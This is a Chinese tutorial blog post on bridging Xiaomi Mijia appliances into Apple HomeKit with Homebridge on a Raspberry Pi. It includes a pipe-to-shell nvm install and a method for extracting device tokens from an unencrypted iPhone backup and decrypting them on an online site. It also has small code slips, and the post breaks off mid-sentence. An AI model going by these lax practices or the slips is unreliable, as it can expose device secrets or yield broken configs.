+title: "打造舒適的 WFH 智慧居家環境,控制家電盡在指尖" +author: "ZhgChgLi" +date: 2020-04-20T14:37:49.536+0000 +last_modified_at: 2024-04-13T08:16:28.468+0000 +categories: "ZRealm Life." +tags: ["homekit","iphone","homebridge","米家","生活"] +description: "示範使用樹莓派當 HomeBridge 主機,將所有米家家電串上 HomeKit" +image: + path: /assets/99db2a1fbfe5/1*qZeTn0r2u_MKJXubV17XvQ.jpeg +render_with_liquid: false +--- + +### 打造舒適的 WFH 智慧居家環境,控制家電盡在指尖 + +示範使用樹莓派當 HomeBridge 主機,將所有米家家電串上 HomeKit + + + +![photo by [picjumbo\.com](https://www.pexels.com/zh-tw/@picjumbo-com-55570?utm_content=attributionCopyText&utm_medium=referral&utm_source=pexels){:target="_blank"}](/assets/99db2a1fbfe5/1*qZeTn0r2u_MKJXubV17XvQ.jpeg) + +photo by [picjumbo\.com](https://www.pexels.com/zh-tw/@picjumbo-com-55570?utm_content=attributionCopyText&utm_medium=referral&utm_source=pexels){:target="_blank"} +### 關於 + +因為疫情的關係,在家時間變長了;尤其是要 Work From Home 的話,家裡的電器設備最好都能在 APP 上智能控制,就不用一下子離開去開燈、一下子去開電鍋…等等,很浪費時間。 + +之前寫過一篇「 [**智慧家居初體驗 — Apple HomeKit & 小米米家**](../c3150cdc85dd/) **」** ,初試使用 HomeBridge 將小米家電串上 HomeKit,實證理論上可行,但實際應用提到的不多,今天這篇算是綜合前篇的進階完整版,包含選擇樹莓派當主機的話該怎麼設定,從頭到尾手把手教學。 + +起因是最近換了 iPhone 11 Pro 能支援 iOS ≥ 13 捷徑的 NFC 自動化功能,就是手機感應到 NFC Tag 就能執行相應的捷徑;雖然 **可以直接拿舊的悠遊卡當 NFC Tag** ,但太占空間也沒那麼多張卡;我去光華問了一圈都沒有再賣 NFC Tag 感應貼紙,最後才在蝦皮找到 $50 一張,買了 5 張來玩玩,賣家還很貼心的幫我用顏色區隔開。 + + +![](/assets/99db2a1fbfe5/1*6ftbgAxlvmdv-35of98ohA.jpeg) + + +_\*NFC 自動化功能是綁機型的,只有 iPhone XS/XS max/XR/11/11pro/11pro max 支援這個功能,之前拿 iPhone 8 完全沒 NFC這選項。_ + +稍微把玩了一下發現有個問題,就是執行米家 APP 的捷徑時一定要打開「執行時顯示」選項(否則不會真的執行), **感應到 Tag 要執行時還要解鎖 iPhone 、執行時也會開啟捷徑,無法在後台直接感應執行** ;另外實測了如果捷徑是原生蘋果的服務(如:HomeKit 的家電)就能在背景&免解鎖下直接執行;而且 homeKit 的反應速度、穩定度都比米家好很多。 + +這在爽度上有很大的差別,所以就又深入研究了將米家智慧家居系列的產品都接上 HomeKit,有支援 HomeKit 的就直接綁定本篇不贅述;不支援的就照此文教學也一起綁定上去! +### 我的米家智慧家居項目 +1. 米家智慧攝影機 雲台版 1080P +2. 米家直流變頻電風扇 +3. 米家 LED 智慧檯燈 +4. 小米空氣淨化器 3 +5. 米家檯燈 Pro(本身就支援 HomeKit) +6. 米家 LED 智慧燈泡 彩光版 \* 2 (本身就支援 HomeKit) + +### 運作原理 + + +![](/assets/99db2a1fbfe5/1*7p0ehajJqdqb4-_w9uHt7g.jpeg) + + +做了一張簡易的參考圖,如果智慧家電有支援 HomeKit 就直接串上去、 **不支援的智慧家電透過架設「HomeBridge」服務主機(要一直開機)也能橋接串上去** ;在同一個網路環境下(EX: 同個 WiFi)iPhone 可以自由地控制 HomeKit 中的所有家電項目;但若在外部網路,如 **4G 行動網路情況下,就需要有一台 Apple TV/HomePod 或 iPad 當家庭中樞主機,在家待命(一樣要一直開著)** 才能在外面控制家中的 HomeKit,若無家庭中樞在外面打開家庭 APP 會顯示「 **無回應** 」。 + + +> \*若是米家的話,會經由米家伺服器控制家裡的電器,要說的話 **會有安全問題,資料都要經過大陸** 。 + + + + +### 需求環境 + +所以一共有兩個設備要一直開著待命,一台是 Apple TV/HomePod 或 iPad 家庭中樞主機;這部分目前無解,無法用其他方式模擬,只能想辦法取得這些設備,如果沒有就只能在家使用 HomeKit **。** + +另一台只要是能 24 hr 待命的電腦(如您的 iMac/MacBook)、閒置的主機(舊的 iMac、Mac Mini)或樹莓派都可以。 + + +> \*windows 系列未嘗試,不過應該也可以! + + + + + +亦或是你想玩玩也可以直接用目前的電腦來用(可搭配 [前篇文章](../c3150cdc85dd/) 一起服用)。 + +本文將以樹莓派(Raspberry Pi 3B)、使用 Macbook Pro \(MacOS 10\.15\.4\) 操作下作示範,從設定樹莓派的環境從頭開始講;若不是使用樹莓派的朋友可以直接略過跳到 HomeBridge 串接 HomeKit 的部分(這裡都一樣)。 + + +![Raspberry Pi 3B \(special thanks to [Lu Xun Huang](https://medium.com/u/b32ce1b681f8){:target="_blank"} \)](/assets/99db2a1fbfe5/1*go-wGMdV1VVbJ3c00rh0_w.jpeg) + +Raspberry Pi 3B \(special thanks to [Lu Xun Huang](https://medium.com/u/b32ce1b681f8){:target="_blank"} \) + +**若是使用樹莓派還需要一張 micro SD 記憶卡(不用太大,我用 8G)、讀卡機、網路線(設定用,之後可連 WiFi);還有樹莓派需要的軟體:** +1. [樹莓派桌面版作業系統(方便大家入門,使用 GUI 版)](https://downloads.raspberrypi.org/raspbian_latest){:target="_blank"} +2. [Etcher 燒錄軟體](https://www.balena.io/etcher/){:target="_blank"} + +### 樹莓派環境設定 +#### 燒錄作業系統 + +下載完需求的兩個軟體後,我們先將記憶卡放入讀卡機插上電腦;打開 Etcher 程式(balenaEtcher) + + +![第一項選擇剛下載的樹莓派作業系統「xxxx\.img」、第二項選擇你的記憶卡裝置,然後點擊「Flash\!」開始燒錄!](/assets/99db2a1fbfe5/1*3YcqdSf9z5RNqD6KJkd4Nw.png) + +第一項選擇剛下載的樹莓派作業系統「xxxx\.img」、第二項選擇你的記憶卡裝置,然後點擊「Flash\!」開始燒錄! + + +![此時會跳出要你輸入 **MacOS 的密碼** ,輸入後按「Ok」繼續。](/assets/99db2a1fbfe5/1*o9XE1WYrBpeKSE31Ob9gcQ.png) + +此時會跳出要你輸入 **MacOS 的密碼** ,輸入後按「Ok」繼續。 + + +![燒錄中…請稍候…\.](/assets/99db2a1fbfe5/1*Z9oOKg9KPMpj3TZfvOvYeA.png) + +燒錄中…請稍候…\. + + +![驗證中…請稍候…\.](/assets/99db2a1fbfe5/1*2G930lN4q4MVs4LCeE5y1w.png) + +驗證中…請稍候…\. + + +![燒錄成功!](/assets/99db2a1fbfe5/1*CEB4bAMTQshY3u7MEC3q5w.png) + +燒錄成功! + + +> \*若有出現紅色的 Error ,可嘗試將記憶卡格式化後再次燒錄。 + + + + + +重新將讀卡機接上電腦,並在記憶卡內容目錄下建立一個空的 「ssh」 檔案( [或點此下載](https://drive.google.com/file/d/1vSiMkRB1-5tO1hD4YnXxUcULTnCJBIFX/view?usp=sharing){:target="_blank"} )內容空白、不用副檔名,就是個「ssh」檔;讓我們可以用 **Terminal** 連線進樹莓派。 + + +![ssh](/assets/99db2a1fbfe5/1*aGJHebPl5MMf4iy0Um9bjg.png) + +ssh +### 設定樹莓派 + +將記憶卡退出,插入樹莓派上並接上網路線,然後通電開機;並讓 MacBook 跟樹莓派在同個網路環境下。 +#### **查看樹莓派分配到的 IP 位置** + + +![](/assets/99db2a1fbfe5/1*6HZ0Fqp6cgpn1F3_4UwM0Q.png) + + +得到 樹莓派分配到的 IP 位置是: **192\.168\.0\.110 \(本文所有出現的 IP 請自行更換成你查到的結果\)** + + +> **_建議將樹莓派設定為指定/保留 IP,否則開機重連後 IP 位置可能會變動,要重新查。_** + + + + +#### 使用 SSH 連入樹莓派進行操作 + +打開 Terminal 輸入: +```bash +ssh pi@你的樹莓派IP位址 +``` + +有詢問就輸入 `yes` ,密碼輸入預設密碼: `raspberry` + + +![**連線成功!**](/assets/99db2a1fbfe5/1*okEJeW9xZN8XFfRYJyp4Xg.png) + +**連線成功!** + + +> \*若有出現 WARNING: REMOTE HOST IDENTIFICATION HAS CHANGED 之類的錯誤訊息就先去 /Users/xxxx/\.ssh/known\_hosts 用文字編輯器打開清空即可 + + + + +#### 樹莓派基本工具安裝、設定 +1. **輸入以下指令安裝 Vim 編輯器:** + +```bash +sudo apt-get install vim +``` + + +![](/assets/99db2a1fbfe5/1*QfhJwWvicEGfk_8PFLy7pA.png) + + +**2\.解決以下語系警告:** +```plaintext +perl: warning: Setting locale failed. +perl: warning: Please check that your locale settings: + LANGUAGE = (unset), + LC_ALL = (unset), + LC_LANG = "zh_TW.UTF-8", + LANG = "zh_TW.UTF-8" + are supported and installed on your system. +perl: warning: Falling back to the standard locale ("C"). +``` + +**輸入** +```bash +vi .bashrc +``` + +按「Enter」進入 + +按「 `i` 」進入編輯模式 + +移動到文件最底部,加上一行「 `export LC_ALL=C` 」 + +按「Esc」輸入「 `:wq!` 」儲存退出。 + +再下「 `source .bashrc` 」更新即可。 + + +![](/assets/99db2a1fbfe5/1*Z3E5QTXErDmmNVRd5QYo8g.gif) + + +**3\.安裝 nvm 管理 nodejs/npm:** +```bash +curl -o- https://raw.githubusercontent.com/creationix/nvm/v0.33.11/install.sh | bash +``` + +**4\.用 nvm 安裝最新版 [nodejs](https://nodejs.org/en/){:target="_blank"} :** + +`nvm install 12.16.2` + + +> \*這邊選擇安裝「12\.16\.2」版本 + + + + + +**5\.確認環境安裝完成:** + +**輸入以下指令** + +`npm -v` + +**和** + +`node -v` + +**確認** + + +![沒錯誤訊息即可!](/assets/99db2a1fbfe5/1*u3xgdplBB-7DyvSpAJU4dA.png) + +沒錯誤訊息即可! + +**6\.建立 nodejs 連結** + +**輸入以下指令** +```bash +which node +``` + +取得 nodejs 所在路徑資訊 + +**再輸入** +```bash +sudo ln -fs 這邊貼上你 which node 查到的路徑(不用"雙引號) /usr/local/bin/node +``` + +**建立連結** + + +![](/assets/99db2a1fbfe5/1*L5C-2SCUV-Cf4yCDwYy8eg.png) + + +**設定完成!** +#### **啟用樹莓派 VNC 遠端桌面功能** + +這邊我們雖然是裝 GUI 版,你當然可以直接將樹莓派接上鍵盤、HDMI 當一般電腦使用,但為了方便我們將使用遠端桌面的方式控制樹莓派。 + +**輸入:** +```bash +sudo raspi-config +``` + + +![](/assets/99db2a1fbfe5/1*_Hwvt6tkKhsNE9TDkOaYAA.png) + + +**進入設定:** + + +![選擇第五項「 **Interfacing Options** 」](/assets/99db2a1fbfe5/1*_EMj-6phsY5PjrPjqeavDg.png) + +選擇第五項「 **Interfacing Options** 」 + + +![選擇第三項「 **P3 VNC** 」](/assets/99db2a1fbfe5/1*CAHN3qczUpajbGGU9gaD9g.png) + +選擇第三項「 **P3 VNC** 」 + + +![使用 「 **←** 」選擇「 **Yes** 」打開](/assets/99db2a1fbfe5/1*wq4S5b33MpAJUiqt9z1EMg.png) + +使用 「 **←** 」選擇「 **Yes** 」打開 + + +![**VNC 遠端桌面功能啟用成功!**](/assets/99db2a1fbfe5/1*sTZ8x9M-_5FRwdqy4mKvPw.png) + +**VNC 遠端桌面功能啟用成功!** + + +![使用 「 **→** 」直接切到「 **Finish** 」退出設定介面。](/assets/99db2a1fbfe5/1*81Y7wZjbSS8Tf5Z_OHi3Rw.png) + +使用 「 **→** 」直接切到「 **Finish** 」退出設定介面。 +#### **將 VNC 遠端桌面服務加入到開機自動啟動項** + +我們希望 VNC 遠端桌面服務是樹莓派開機後就自動啟用的。 + +**輸入** +```bash +sudo vim /etc/init.d/vncserver +``` + +按「Enter」進入 + +按「 `i` 」進入編輯模式 +```bash +#!/bin/sh +### BEGIN INIT INFO +# Provides: vncserver +# Required-Start: $local_fs +# Required-Stop: $local_fs +# Default-Start: 2 3 4 5 +# Default-Stop: 0 1 6 +# Short-Description: Start/stop vncserver +### END INIT INFO + +# More details see: +# http://www.penguintutor.com/linux/vnc + +### Customize this entry +# Set the USER variable to the name of the user to start vncserver under +export USER='pi' +### End customization required + +eval cd ~$USER + +case "$1" in + start) + su $USER -c '/usr/bin/vncserver -depth 16 -geometry 1024x768 :1' + echo "Starting VNC server for $USER " + ;; + stop) + su $USER -c '/usr/bin/vncserver -kill :1' + echo "vncserver stopped" + ;; + *) + echo "Usage: /etc/init.d/vncserver {start|stop}" + exit 1 + ;; +esac +exit 0 +``` + +「Commend」+「C」、「Commend」+「V」複製貼上以上內容進去,按「Esc」輸入「:wq\!」儲存退出。 + +**再輸入:** +```bash +sudo chmod 755 /etc/init.d/vncserver +``` + +修改文件權限。 + +**再輸入:** +```bash +sudo update-rc.d vncserver defaults +``` + +加入到開機自動啟動項目。 + +**最後輸入:** +```bash +sudo reboot +``` + +**重新啟動樹莓派。** + + +> \*重新啟動完成後,再照之前的步驟重新使用 ssh 連線進來。 + + + + +#### **使用 VNC Client 進行連線:** + +這邊使用的是 Chrome 的 APP 「 [VNC® Viewer for Google Chrome™](https://chrome.google.com/webstore/detail/vnc%C2%AE-viewer-for-google-ch/iabmpiboiopbgfabjmgeedhcmjenhbla){:target="_blank"} 」,安裝完啟動後,輸入 **樹莓派 IP 位置:1** ,請注意後面的 **Port:1** 要加上! + + +> \*我使用 Mac 自帶的 VNC:// 無法連線,不確定原因。 + + + + + + +![點選「 **Connect** 」。](/assets/99db2a1fbfe5/1*83cR8b2ajhPc1IwariNVBw.png) + +點選「 **Connect** 」。 + + +![點選「 **OK** 」。](/assets/99db2a1fbfe5/1*B0esYM-GvrYUVXIwpq4vvQ.png) + +點選「 **OK** 」。 + + +![**輸入登入帳號密碼** ,同 SSH 連線,帳號 `pi` 預設密碼 `raspberry` 。](/assets/99db2a1fbfe5/1*jJ8cdRrc4bGHDxPvF7xXhw.png) + +**輸入登入帳號密碼** ,同 SSH 連線,帳號 `pi` 預設密碼 `raspberry` 。 + + +![**成功連入!**](/assets/99db2a1fbfe5/1*vIUEmBrO-t_-6xy_kPNLNQ.png) + +**成功連入!** +#### **完成樹莓派初始化設定:** + +再來都是圖形介面!很容易! + + +![設定語言、地區、時區。](/assets/99db2a1fbfe5/1*w9qXfybKr4REKN8hrJJUBw.png) + +設定語言、地區、時區。 + + +![更改樹莓派預設密碼,輸入你要設定的密碼。](/assets/99db2a1fbfe5/1*xeb6Pr5FUwQGYHhzmid-6w.png) + +更改樹莓派預設密碼,輸入你要設定的密碼。 + + +![直接下一步「 **Next** 」。](/assets/99db2a1fbfe5/1*o-LCjlYXdW7hmxYjIE6Axw.png) + +直接下一步「 **Next** 」。 + + +![設定使用 WiFi 連線,之後就不用在插線了。](/assets/99db2a1fbfe5/1*NPZqliJZslnmvzzkW-Zj6g.png) + +設定使用 WiFi 連線,之後就不用在插線了。 + + +> \*但請注意樹莓派 IP位置可能會改變,要再進路由器查詢 + + + + + + +![是否要更新當前作業系統,不趕時間就選「 **Next** 」更新吧!](/assets/99db2a1fbfe5/1*lsnk0BDb_z1VKkXYxUi7fg.png) + +是否要更新當前作業系統,不趕時間就選「 **Next** 」更新吧! + + +> \*更新大約需要20~30分鐘(依照你的網路速度) + + + + + + +![更新完成後,點擊「 **Restart** 」重新啟動。](/assets/99db2a1fbfe5/1*Xgm6NMQNoom_Zee3QHWXZg.png) + +更新完成後,點擊「 **Restart** 」重新啟動。 + +**樹莓派環境設定完成!** +### HomeBridge 安裝 + +正式進入重頭戲,安裝使用 HomeBridge。 + +使用Terminal ssh 連線進樹莓派或直接使用 VNC 遠端桌面裡的 Terminal。 + +**輸入:** +```bash +npm -g install homebridge - unsafe-perm +``` + +^\( **不加 sudo** \) + +安裝 **HomeBridge** + + +![](/assets/99db2a1fbfe5/1*feOCt_Gyy8DEW7qHA2bpQw.png) + + +**安裝完成!** +#### 建立/修改設定檔\(config\.json\): + +**為了方便編輯,使用 VNC 遠端桌面連線至樹莓派** \(也可直接用指令\) **:** + +點左上角打開「 **檔案管理程式** 」\-> 進入「 **/home/pi/\.homebridge** 」 + +若沒看到「config\.json」檔案則在空白處點右鍵「 **New File** 」\-> 輸入檔案名稱「 **config\.json** 」 + +在「 **config\.json** 」上按右鍵用「 **Text Editor** 」打開 + + +![](/assets/99db2a1fbfe5/1*Zk_cWdHZ4Um5zCX4dr5IdQ.png) + + +**貼上以下基礎設定內容:** +```json +{ + "bridge": { + "name": "Homebridge", + "username": "CC:22:3D:E3:CE:30", + "port": 51826, + "pin": "123-45-568" +} +``` + +**內容不用特別更改,直接照搬即可!** + + +> **_記得存檔!_** + + + + + + +![](/assets/99db2a1fbfe5/1*Jm3Ykku3Yll1aiuKWbR-EQ.png) + + +**完成!** +#### 綁定 HomeBridge 到 Homekit + +**輸入:** +```bash +homebridge start +``` + +^\( **不加 sudo** \) + +**啟用** + + +![](/assets/99db2a1fbfe5/1*uMEuC33I-R6KlLxS-L6Grw.png) + + + +> \*若出現 Error: Service name is already in use on the network / port被佔用之類的錯誤可嘗試砍掉服務、改用 `homebridge restart` 重啟、或重新開機。 + + + + + +> \*若出現was not registered by any plugin之類的錯誤則代表你還沒有安裝相應的homebridge plugin。 + + + + + +> **_啟動中有更改 設定檔\(config\.json\)內容的話要改下:_** + + + + + +> `sudo homebridge restart` + + + + + +> **_重新啟動 HomeBridge_** + + + + + +> \*按「Control」\+「C」可在 Terminal 關閉退出 HomeBridge 服務。 + + + + + +拿出 iPhone 打開「家庭」APP,在「家庭」右上角點「\+」,選「加入配件」, **掃描你出現的 QRCode** 。 + + +![](/assets/99db2a1fbfe5/1*IFt2yQBfKfooraaAgCxGkA.jpeg) + + +這時應該會出現「 **找不到配件** 」,別擔心!因為我們還沒有加入任何配件到 HomeBridge 橋接器上,沒關係,讓我們繼續往下看。 + +**至少要有一個配件才能掃描加入\! \! \!** \(這邊以攝影機為範例\) **:** +**至少要有一個配件才能掃描加入\! \! \!** \(這邊以攝影機為範例\) **:** +**至少要有一個配件才能掃描加入\! \! \!** \(這邊以攝影機為範例\) **:** + + +![](/assets/99db2a1fbfe5/1*HC1CSkt1RpBXYEZ3aa8Eyw.png) + + + +![](/assets/99db2a1fbfe5/1*Wi1np5MvjBkwJkInD49aRA.png) + + +第一次掃描加入會出現警告視窗,按「強制加入」即可! + + +> **_加入過一次後,後面再新增的配件都不用再次掃描了,會自己更新進去!_** + + + + +#### 將 HomeBridge 服務加入樹莓派開機自動啟動項目 + +同 VNC 遠端桌面服務,我們也希望 HomeBridge 服務是樹莓派開機後就自動啟用的,不然一但重開機就要再次手動連進來啟用。 + +**輸入:** +```bash +which homebridge +``` + +**取得 homebridge 路徑資訊** + + +![](/assets/99db2a1fbfe5/1*L8-E7jZqv6TjO4zKaayAuA.png) + + +**記下此路徑。** + +**再輸入:** +```bash +sudo vim /etc/init.d/homebridge +``` + +按「Enter」進入 + +按「 `i` 」進入編輯模式 +```bash +#!/bin/sh +### BEGIN INIT INFO +# Provides: +# Required-Start: $remote_fs $syslog +# Required-Stop: $remote_fs $syslog +# Default-Start: 2 3 4 5 +# Default-Stop: 0 1 6 +# Short-Description: Start daemon at boot time +# Description: Enable service provided by daemon. +### END INIT INFO + + +dir="/home/pi" +cmd="DEBUG=* 這邊貼上你 which homebridge 查到的路徑" +user="pi" + + +name=`basename $0` +pid_file="/var/run/$name.pid" +stdout_log="/var/log/$name.log" +stderr_log="/var/log/$name.err" + + +get_pid() { +cat "$pid_file" +} + + +is_running() { +[ -f "$pid_file" ] && ps -p `get_pid` > /dev/null 2>&1 +} + + +case "$1" in +start) +if is_running; then +echo "Already started" +else +echo "Starting $name" +cd "$dir" +if [ -z "$user" ]; then +sudo $cmd >> "$stdout_log" 2>> "$stderr_log" & +else +sudo -u "$user" $cmd >> "$stdout_log" 2>> "$stderr_log" & +fi +echo $! > "$pid_file" +if ! is_running; then +echo "Unable to start, see $stdout_log and $stderr_log" +exit 1 +fi +fi +;; +stop) +if is_running; then +echo -n "Stopping $name.." +kill `get_pid` +for i in 1 2 3 4 5 6 7 8 9 10 +# for i in `seq 10` +do +if ! is_running; then +break +fi + + +echo -n "." +sleep 1 +done +echo + + +if is_running; then +echo "Not stopped; may still be shutting down or shutdown may have failed" +exit 1 +else +echo "Stopped" +if [ -f "$pid_file" ]; then +rm "$pid_file" +fi +fi +else +echo "Not running" +fi +;; +restart) +$0 stop +if is_running; then +echo "Unable to stop, will not attempt to start" +exit 1 +fi +$0 start +;; +status) +if is_running; then +echo "Running" +else +echo "Stopped" +exit 1 +fi +;; +*) +echo "Usage: $0 {start|stop|restart|status}" +exit 1 +;; +esac +exit 0 +``` + +**將:** + +`cmd=”DEBUG=* 這邊貼上你 which homebridge 查到的路徑”` + +**替換入你查到的路徑資訊(不用“雙引號)** + +「Commend」+「C」、「Commend」+「V」複製貼上以上內容進去,按「Esc」輸入「:wq\!」儲存退出。 + +**再輸入:** +```bash +sudo chmod 755 /etc/init.d/homebridge +``` + +修改文件權限。 + +**最後輸入:** +```bash +sudo update-rc.d homebridge defaults +``` + +加入到開機自動啟動項目。 + +**完成!** + + +> 可直接使用 `sudo /etc/init.d/homebridge start` 啟用 `homebridge` 服務。 + + +> 另可使用: `tail -f /var/log/homebridge.err` 查看啟動錯誤訊息、 `tail -f /var/log/homebridge.log` 查看 log 。 + + + + + + +![](/assets/99db2a1fbfe5/1*P_3Zg1GDuUVKJyO-kknCLA.png) + +### 米家智慧家電串接前準備 + +Homebridge on 起來後,我們就可以開始逐個將所有米家家電加入至 Homebridge 接上 homeKit! + +**首先我們要先將米家智慧家電都加入「 [米家APP](https://apps.apple.com/tw/app/%E7%B1%B3%E5%AE%B6-%E6%99%BA%E6%85%A7%E7%94%9F%E6%B4%BB%E6%96%B0%E9%AB%94%E9%A9%97/id957323480){:target="_blank"} 」** ,我們要從其中獲取串接上 HomeBridge 的資訊。 + +**智慧家電都加入米家 APP 後:** + +將 iPhone 接上 Mac 電腦,打開 Finder/Itunes 介面,選擇接上的手機 + +選備份到「 **這部電腦** 」、 「 **不要勾!替本機備份加密」** ,點「 **立即備份** 」 + + +![](/assets/99db2a1fbfe5/1*nS68ECAURNSVbuJRYdhCvw.png) + + +備份完成後, [下載](http://www.imactools.com/iphonebackupviewer/download/mac){:target="_blank"} 安裝備份查看軟體: [**iBackupViewer**](http://www.imactools.com/iphonebackupviewer/download/mac){:target="_blank"} + +打開「 **iBackupViewer** 」 + + +> 初次啟動會要你去 Mac「系統偏好設定」\- 「安全性與隱私權」\-「隱私權」\-「\+」\- 加入「iBackupViewer」 + + +> **_\*如有隱私顧慮可關閉網路使用這套軟體、並在使用後移除_** + + + + + + +![](/assets/99db2a1fbfe5/0*VMTW7WxQEl_ZFU7E.png) + + +再次打開「 **iBackupViewer** 」成功讀取到備份檔後,點擊「剛備份的手機」 + + +![選擇「 **App Stroe** 」Icon](/assets/99db2a1fbfe5/1*Qqyp11Gc-dnK1Me08KKwbw.png) + +選擇「 **App Stroe** 」Icon + + +![左方找到「米家 APP \(MiHome\.app\)」\-> 右方找到「 **數字\_mihome\.sqlite」** 這個檔案並「 **選擇** 」 \-> 右上角「 **Export** 」\-> 「 **Selected Files** 」](/assets/99db2a1fbfe5/1*VlGVYTHKG88GIiH4C745Vg.png) + +左方找到「米家 APP \(MiHome\.app\)」\-> 右方找到「 **數字\_mihome\.sqlite」** 這個檔案並「 **選擇** 」 \-> 右上角「 **Export** 」\-> 「 **Selected Files** 」 + + +> \*若有兩個 「數字\_mihome\.sqlite」檔案,則挑 Created 建立時間最新的來用。 + + + + + +將剛剛匯出的 **數字\_mihome\.sqlite** 檔案 **拖曳進這個網站查看內容:** + + +[![](https://inloop.github.io/sqlite-viewer/img/icon.png)](https://inloop.github.io/sqlite-viewer/){:target="_blank"} + + +**可將查詢語法換成:** +```sql +SELECT `ZDID`,`ZNAME`,`ZTOKEN` FROM 'ZDEVICE' LIMIT 0,30 +``` + +僅顯示我們需要的欄位資訊 (若有特別的家電套件需要其他的欄位資訊也可以加上去做篩選) + + +![](/assets/99db2a1fbfe5/1*VWdrF905GGB_yXrCD5CpPg.png) + +1. ZDID: 裝置 ID +2. ZNAME: 裝置名稱 +3. ZTOKEN: 裝置 ZToken + + + +> **_ZTOKEN 不能直接用,要轉換成 “Token” 才能使用。_** + + + + + +這邊以攝影機的 ZToken 轉換 Token 為例: + +首先,我們從上面列表取得攝影機的 ZToken 欄位內容 +```plaintext +7f1a3541f0433b3ccda94beb856c2f5ba2b15f293ce0cc398ea08b549f9c74050143db63ee66b0cdff9f69917680151e +``` + +但這邊拿到的 TOKEN 還不能用,我們還需要將他轉換 + +**打開 [http://aes\.online\-domain\-tools\.com/](http://aes.online-domain-tools.com/){:target="_blank"} 這個網站:** +1. 將剛剛複製出來的 ZTOKEN 貼在「Input Text」,選「Hex」 +2. Key輸入「00000000000000000000000000000000」32個0,ㄧ樣選「Hex」 +3. 然後按下「Decrypt\!」轉換 +4. 全選複製右下角兩行的輸出內容&去掉空格後就是我們要的結果 **Token** + + + +![「 **6d304e6867384b704b4f714d45314a34** 」就是我們要的 Token 結果!](/assets/99db2a1fbfe5/1*aQ7RfRx9ATjflYgMysnn3A.png) + +「 **6d304e6867384b704b4f714d45314a34** 」就是我們要的 Token 結果! + + +> \*Token 去得方式這塊有嘗試用「miio」直接嗅探的方式,但好像是米家韌體有更新過,已無法用這個方法快速方便得到 Token 了! + + + + + +最後,我們還要知道 **裝置的 IP 位址** \(這邊一樣以攝影機為例\): + + +![](/assets/99db2a1fbfe5/0*OvqmDU7ARvoG96J0.jpeg) + + +打開米家APP → 攝影機 → 右上角「…」→設定→網路訊息,得到 **IP位址** ! + + +> **_記錄下 ZDID/Token/IP 這些資訊,供後續使用。_** + + + + +### 將米家智慧家電逐個串入 HomeBridge + +依照個別裝置需要用到的套件、連線資訊不同,逐個安裝、設定,加入至 HomeBridge。 + + +> **_再來打開 Terminal ssh 連線進樹莓派或直接使用 VNC 遠端桌面裡的 Terminal,繼續後續作業…\._** + + + + +#### **1\.米家攝影機雲臺版:** + +在 Terminal 下命令安裝 [MijiaCamera](https://github.com/josepramon/homebridge-mijia-camera){:target="_blank"} 這個 homebridge 套件 \( **不加 sudo** \): +```bash +npm install -g homebridge-mijia-camera +``` + + +![](/assets/99db2a1fbfe5/1*V7hZyogacXS9m_XN4qVtFw.png) + + +參考前文的修改設定檔\(config\.json\)教學,在檔案中加入 **accessories** 區塊 **:** +```json +{ + "bridge":{ + "name":"Homebridge", + "username":"CC:22:3D:E3:CE:30", + "port":51826, + "pin":"123-45-568" + }, + "accessories":[ + { + "accessory":"MijiaCamera", + "name":"Mi Camera", + "ip":"", + "token":"" + } + ] +} +``` + +`accessories:` 加入米家攝影機的設定資訊,ip 帶入攝影機 ip、token 帶入帶入前文教學教的 token + + +> **_記得存檔!_** + + + + + +然後照 Homebridge 章節教的,啟動/重新啟動/掃描加入 Homebridge;就能在「家庭」APP 中看到攝影機的控制項目了。 + + +![](/assets/99db2a1fbfe5/0*fHtbNC-8IL9KQUyu.jpeg) + + +可控制項目:攝影機開/關 +#### 2\.米家直流變頻電風扇 + +在 Terminal 下命令安裝 [homebridge\-mi\-fan](https://github.com/YinHangCode/homebridge-mi-fan){:target="_blank"} 這個 homebridge 套件 **\(不加 sudo\)** : +```bash +npm install -g homebridge-mi-fan +``` + + +![](/assets/99db2a1fbfe5/1*vwe7fapof2mA4me_3_HyfA.png) + + +參考前文的修改設定檔\(config\.json\)教學,在檔案中加入 **platforms** 區塊\(若已有則在區塊內「,」新增一個子區塊\) **:** +```json +{ + "bridge":{ + "name":"Homebridge", + "username":"CC:22:3D:E3:CE:30", + "port":51826, + "pin":"123-45-568" + }, + "platforms":[ + { + "platform":"MiFanPlatform", + "deviceCfgs":[ + { + "type":"MiDCVariableFrequencyFan", + "ip":"", + "token":"", + "fanName":"room fan", + "fanDisable":false, + "temperatureName":"room temperature", + "temperatureDisable":true, + "humidityName":"room humidity", + "humidityDisable":true, + "buzzerSwitchName":"fan buzzer switch", + "buzzerSwitchDisable":true, + "ledBulbName":"fan led switch", + "ledBulbDisable":true + } + ] + } + ] +} +``` + +`platforms:` 加入米家電風扇設定資訊,ip 帶入攝影機 ip、token 帶入前文教學教的 token、humidity/temperature 可控制是否連動顯示溫濕度計資訊、 +**type 需帶入對應型號的文字** ,支援四種不同型號的電風扇: +1. 智米直流變頻落地扇:ZhiMiDCVariableFrequencyFan +2. 智米自然風風扇:ZhiMiNaturalWindFan +3. 米家直流變頻:MiDCVariableFrequencyFan \(台灣賣的\) +4. 米家風扇:DmakerFan + + +請自行帶入自己的風扇型號。 + + +> **_記得存檔!_** + + + + + +然後照 Homebridge 章節教的,啟動/重新啟動/掃描加入 Homebridge;就能在「家庭」APP 中看到攝影機的控制項目了。 + + +![](/assets/99db2a1fbfe5/1*N_N5_WCnHNsepVv7HvAjmQ.jpeg) + + +可控制項目:電風扇開/關、風力大小調整 +#### 3\.小米空氣淨化器 3 + +在 Terminal 下命令安裝 [homebridge\-xiaomi\-air\-purifier3](https://github.com/rgavril/homebridge-xiaomi-air-purifier3){:target="_blank"} 這個 homebridge 套件 **\(不加 sudo\)** : +```bash +npm install -g homebridge-xiaomi-air-purifier3 +``` + + +![](/assets/99db2a1fbfe5/1*VxEYnHaBwQVLxxXOLb1Jkg.png) + + +參考前文的修改設定檔\(config\.json\)教學,在檔案中加入 **accessories** 區塊\(若已有則在區塊內「,」新增一個子區塊\) **:** +```json +{ + "bridge":{ + "name":"Homebridge", + "username":"CC:22:3D:E3:CE:30", + "port":51826, + "pin":"123-45-568" + }, + "accessories":[ + { + "accessory":"XiaomiAirPurifier3", + "name":"Xiaomi Air Purifier", + "did":"", + "ip":"", + "token":"", + "pm25_breakpoints":[ + 5, + 12, + 35, + 55 + ] + } + ] +} +``` + +`accessories:` 加入米家電風扇設定資訊,ip 帶入攝影機 ip、token 帶入前文教學教的 token、did 帶入 zdid + + +> **_記得存檔!_** + + + + + +然後照 Homebridge 